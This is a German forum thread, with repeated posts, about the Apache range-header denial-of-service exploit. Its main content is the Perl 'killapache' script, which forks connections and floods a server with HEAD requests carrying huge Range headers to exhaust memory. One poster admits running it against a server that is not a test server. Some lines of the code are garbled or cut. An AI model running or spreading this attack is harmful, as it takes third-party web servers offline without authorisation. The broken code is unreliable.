Und Auwirkungen hatte das Skript schon. Es wurden viele Prozesse erzeugt. Man kam aber immer noch auf die Seiten. Nur Zerissen hat das den Server eben nicht.
Na dann nimm doch mal das von Golem.de und lass es auf ein ECHTES DOKUMENT los, viel Spass meine Kiste ist mir sofort verreckt dass nichtmal abbrechen möglich war - Die Workstation im Büro hat binnen 3-4 Sekunden 5 GB RAM gefressen, nachdem da 16 drinnen stecken gerade noch Abbruch möglich
Ich habe das versucht:
perl apache-killer.pl fqdn 80
Ich muß mal die IP ausprobieren.
Und nein, das ist kein Testserver.
Sonst brauche ich das ja nicht testen...
Ach ja.
Und Auwirkungen hatte das Skript schon.
Es wurden viele Prozesse erzeugt.
Man kam aber immer noch auf die Seiten.
Nur Zerissen hat das den Server eben nicht.
Gerade auf einem Testserver ausprobiert:
perl apache-killer.pl localhost 80
Nüscht. Zwar reichlich httpd - Prozesse, aber der Rechner
bleibt geschmeidig.
Gibt es verschiedene Skripte?
#!/usr/bin/perl
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope, modified by Christian Horvat\n";
print "usage: perl killapache.pl [numforks]\n";
print "example: perl killapache.pl www.example.com/foo/bar.php 100\n";
}
sub killapache {
print "### ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$knew(PeerAddr => $host,
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while( ) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp (pistol gun sounds)\n";
}
sub testapache {
my ($host,$dir)=split(/\//,$ARGV[0]);
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD /$dir HTTP/1.1\r\nHost: $host\r\nRange:bytes=0-100\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print "\r\n### Request ###\r\n".$p."\r\n";
print $sock $p;
$x = ;
print "### returned Status Code -> ".$x."\r\n";
if ($x =~ /Partial/) {
print "### Host seems vulnable! -> ".$ARGV[0]."\n\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV 1) {
if ($#ARGV > 0) {
$numforks = $ARGV[1];
} else {$numforks = 100;}
$v = testapache();
if ($v == 0) {
print "### Host does not seem vulnerable. Or Redirect. Or File not found. Or Bad Request.\n### Exit.\n";
exit;
}
while(1) {
killapache();
}
Na dann nimm doch mal das von Golem.de und lass es auf ein ECHTES DOKUMENT los, viel Spass meine Kiste ist mir sofort verreckt dass nichtmal abbrechen möglich war - Die Workstation im Büro hat binnen 3-4 Sekunden 5 GB RAM gefressen, nachdem da 16 drinnen stecken gerade noch Abbruch möglich